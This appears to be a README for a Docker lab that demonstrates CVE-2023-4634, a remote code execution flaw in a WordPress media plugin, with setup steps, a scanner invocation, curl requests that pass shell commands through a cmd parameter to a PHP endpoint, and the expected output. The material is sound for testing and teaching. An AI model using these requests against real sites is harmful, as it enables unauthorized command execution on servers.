1. Build and launch environment
cd Stand
docker-compose up --build -d
2. Wait for services to start (60 seconds)
sleep 60
curl -I http://localhost:8080
3. Run vulnerability scan
cd ../PoC/src
python3 scanner.py http://localhost:8080
4. Manual RCE testing
# Test id command
curl "http://localhost:8080/rce_proof.php?cmd=id"
# Test ping command
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"
# Create proof file
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"
✅ Expected results
scanner.py output:
[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt
result.txt contents:
{
"cve": "CVE-2023-4634",
"target": "http://localhost:8080",
"timestamp": "2025-12-21 13:49:19",
"vulnerable": true,
"findings": {
"wordpress": true,
"plugin_vulnerable": true,
"rce_id": true,
"rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
"rce_ping": true,
"rce_file_check": true
},
"plugin_version": "3.09",
"status": "VULNERABLE"
}
🔧 Technical specifications
Network:
- WordPress:
172.20.0.2:80 (accessible at localhost:8080)
- Database:
172.20.0.3:3306
- Network:
172.20.0.0/24
Requirements:
- CVE: CVE-2023-4634
- Vulnerable component: Media Library Assistant plugin < 3.10
- Vulnerability type: Remote Code Execution (RCE)
- System requirements: Docker, Python 3.7+
📊 RCE Proof
- ✅ Execution of
id command via HTTP
- ✅ Execution of
ping command via HTTP
- ✅ File creation in
/tmp/
- ✅ Confirmation of
www-data privileges
- ✅ Results documented in
result.txt
🧹 Cleanup
cd Stand
docker-compose down -v